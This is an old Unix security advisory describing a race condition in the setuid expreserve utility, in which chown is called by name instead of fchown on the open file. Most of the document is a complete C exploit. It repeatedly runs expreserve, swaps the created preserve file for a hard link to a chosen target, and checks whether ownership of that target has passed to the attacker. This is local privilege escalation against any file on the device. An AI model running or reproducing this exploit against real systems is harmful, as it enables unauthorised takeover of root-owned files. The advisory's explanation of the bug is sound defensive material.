COMMAND expreserve(1) SYSTEMS AFFECTED This bug exists in all expreserves up to BSD 4.3. (well not quite ). On all System V and earlier releases this works. Under System V expreserve places the Ex temp files in the directory /usr/preserve/$LOGNAME and under Berkeley releses it places them under either /usr/preserve or /var/preserve (SunOS 4.X among others). PROBLEM A rather barbaric race condition in expreserve that allows the setuid program to be compromised by changing the permissions of a file. This "feature" will allow security to be breached on all standard Systems Vs and all Berkeley-ish systems that have the /usr/preserve directory writable by the user (Note: SunOS was this directory unwritable by default). The System V bug was relatively unavoidable (though the addition of the "S" bit to directories in SVR3.2 could close the hole) until SVR4 but the Berkeley bug should have been fixed as soon as the fchown(2) system call was added to BSD. Basically the "hole" is that expreserve does: fd = creat("/usr/preserve/Exaaa$PID", 0600); chown("/usr/preserve/Exaaa$PID", real_uid, real_gid); when it should do a: fd = creat("/usr/preserve/Exaaa$PID", 0600); fchown(fd, real_uid, real_gid); which avoids the race (it changes the permission on the inode that was creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID). The previous examples are actually simplified as expreserve actually looks at the uid and gid as stored in the /tmp/Ex$PID file and compares them to the getuid() and getgid() return values. The actual race is that a context switch may occur between the creat(2) and chown(2) in expreserve that allows another process with write permission to the target directory to unlink(2) the creat(2)ed file and place a hard link to another file by that name in the target directory, which expreserve subsequentialies chown(2)s to your uid. This "feature" allows any file on the same device to be chown(2)ed to you. Though you may see support for symbolic links, on the version of UNIX that this has been tested on, this will only change permissions on the symlink. You may find this confusing as ELOOP is an alleged failure condition for chown(2) implying that a symbolic link resolution. Exploit follows: /* * This program takes advantage of a race condition in most version of * /usr/lib/expreserve. Expreserve create(2)s a file as root in * either /usr/preserve or /usr/preserve/$USER and then chmod(2)s the * file. The Berkeley 4.3 version contains this bug as does earlier * versions of expreserve. BSD could safely fchmod(2) the file * avoiding the race but DOES NOT. System V implementation fchmod(2) * until SVR4.0 and this bug still existed in the beta release I saw. */ /* NOTE: This will only work if the target directory is writeable by * the user */ #include #include #include #include #include #include #include #define TRUE 1 #define FALSE 0 /* SUNOS 4.0 and SVR4 use "/var/preserve" */ #ifndef PRESERVE_DIRECTORY #define PRESERVE_DIRECTORY "/usr/preserve" #endif #ifndef MAIL_DIRECTORY #define MAIL_DIRECTORY "/usr/mail" #endif #ifndef EXPRESERVE #define EXPRESERVE "/usr/lib/expreserve" #endif #ifdef SYM_LINKS extern int symlink(); #endif extern int errno, link(); extern char *gets(); int (*LinkFunc)(); struct stat st_target, st_exfile, st_spoof; struct passwd *pw; /* gppid = grand parent pid, ppid = parent pid, cpid = child pid */ int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid; char *Prog, buf[BUFSIZ], *target, *exfile, *preserve_dir, *spoof, *mailfile, *strdup(), *GetBaseName(); void CheckIt(), ChildDied(); int main(argc, argv) int argc; char *argv[]; { void GetTarget(); int GetExfile(); umask(0); signal(SIGHUP, SIG_DFL); gppid = getpid(); myuid = geteuid(); printf("pid of top level parent = %d\n", gppid); Prog = *argv; preserve_dir = PRESERVE_DIRECTORY; close(GetExfile()); printf("Perserve directory = %s\n", preserve_dir); /* get who you are */ if ((pw = getpwuid(getuid())) == (struct passwd *) 0) { fprintf(stderr, "%s: can't find your passwd entry\n", Prog); exit(1); } GetTarget(); if (stat(PRESERVE_DIRECTORY, &st_exfile)) { perror("stat"); fprintf(stderr, "%s: Can't stat %s\n", Prog, PRESERVE_DIRECTORY); exit(1); } /* * Determine if we are going to use a symlink(2) or link(2) system * call or if this is a cross device link and we don't have symlink(). */ if (st_target.st_dev != st_exfile.st_dev) { #ifndef SYM_LINKS fprintf(stderr, "%s: target %s and directory %s on different %s\n", Prog, target, PRESERVE_DIRECTORY, "file systems"); fprintf(stderr, "%s: Cross device links not supported\n"); exit(1); #else LinkFunc = symlink; printf("using symlink\n"); #endif } else { /* else we are on same device */ LinkFunc = link; printf("using link\n"); } fflush(stdout); gets(buf); #ifdef TRUNCATE_MAIL_FILE /* this is here because you might get alot of mail messages */ sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name); mailfile = strdup(buf); #endif /* the guts start here */ for (i = 1; ; i++ ) { switch (ppid = fork()) { /* begin Level I switch */ case 0: /* tries to spoof EXPRESERVE */ ppid = getpid(); CREATE_SECOND_CHILD: switch (cpid = fork()) { /* begin Level II switch */ case 0: /* we actually exec EXPRESERVE in the grand child of the parent process */ cpid = getpid(); signal(SIGHUP, SIG_IGN); close(0); GetExfile(); sleep(2); /* give time to parent to get ready * / nice(5); /* run at lower priority */ execl(EXPRESERVE, GetBaseName(EXPRESERVE), (char *) 0); perror("exec"); fprintf(stderr, "DYING\007\007\n"); fflush(stdout); kill(ppid, SIGHUP); kill(gppid, SIGHUP); exit(1); break; case -1: goto CREATE_SECOND_CHILD; default: /* first forked process */ #ifdef NO_USER_SUBDIRECTORY sprintf(buf, "Exaaa%05d", cpid); #else sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid) ; #endif spoof = strdup(buf); sprintf(buf, "/tmp/Ex%05d", cpid); exfile = strdup(buf); childDied = 0; #ifdef SYSV sigset(SIGCHLD, ChildDied); #else signal(SIGCHLD, ChildDied); #endif while (chdir(preserve_dir)) ; while (unlink(spoof)) ; if (((LinkFunc)(target, spoof)) == 0) { #ifdef SYSV sighold(SIGCHLD); #else sigblock(sigmask(SIGCHLD)); #endif CheckIt(); #ifdef SYSV sigrelse(SIGCHLD); while (childDied == 0) ; #else while (childDied == 0) sigpause(0); #endif } printf("iteration %d failed\n", i); if (unlink(spoof)) { printf("unlink of spoof %s failed\n", spoof); } if (unlink(exfile)) { printf("unlink of exfile %s failed\n", exfile); } if (childDied == 0) wait((int *) 0); exit(0); break; } /* End Level II switch */ break; case -1: continue; default: /* grand parent */ while ((cpid = wait((int *) 0)) != ppid) ; #ifdef TRUNCATE_MAIL_FILE close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600)) ; #endif } /* end Level I switch */ } /* end forever loop */ } void GetTarget() { char tbuf[BUFSIZ]; for ( ; ; ) { printf("enter full pathname of target file: "); gets(buf); if (stat(buf, &st_target) == 0) { target = strdup(buf); return; } perror("stat"); } } int GetExfile() { extern char *malloc(); char tbuf[BUFSIZ]; int fd; struct stat s; static int beenHere, glen; static char *garbage; /* first loop current directory is still dot */ if (!beenHere) { if (stat("data", &s)) { fprintf(stderr, "%s: can't stat 'data'\n", Prog); exit(0); } if (s.st_size < 1) { fprintf(stderr, "%s: too small\n", Prog); exit(1); } glen = s.st_size; if ((garbage = malloc(glen)) == (char *) 0) { fprintf(stderr, "%s: malloc of %d bytes failed\n", Prog, glen); exit(1); } if ((fd = open("data", O_RDONLY)) < 0) { perror("open"); fprintf(stderr, "%s: failed to open 'data'\n"); exit(1); } read(fd, garbage, glen); close(fd); beenHere++; return 20; } sprintf(tbuf, "/tmp/Ex%05d", cpid); exfile = strdup(tbuf); if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) { perror("create"); fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf); exit(1); } write(fd, garbage, glen); sync(); lseek(fd, 0L, 0); return fd; } char *GetBaseName(prog) char *prog; { /*extern int strlen();*/ register int i, first_char; register char *s1; s1 = prog; /* trim things like "~/bin/mail//" which are legal to namei */ for (i = strlen(prog) - 1; i; --i) if (*(s1+i) == '/') { *(s1+i) = '\0'; } else break; /* find first char after last '/' */ for (i = first_char = 0; *(s1+i); i++) if (*(s1+i) == '/') first_char = i + 1; return s1 + first_char; } #ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */ char *strdup(s1) char *s1; { extern char *malloc(), *strcpy(); extern int strlen(); char *new; if ((new = malloc(strlen(s1)+1)) == (char *) 0) return (char *) 0; return strcpy(new, s1); } #endif void CheckIt() { sleep(2); /* give expreserve a time slice to chown(2) the file */ if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) { if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid)) { printf("successful at iteration %d\007\007\007\n", i); printf("file is %s\n", spoof); fflush(stdout); kill(gppid, SIGHUP); exit(0); } } printf("CheckIt failed\n"); fflush(stdout); } void ChildDied(sig) int sig; { childDied++; printf("EXPRESERVE done\n"); fflush(stdout); unlink(exfile); unlink(spoof); wait((int *) 0); exit(1); }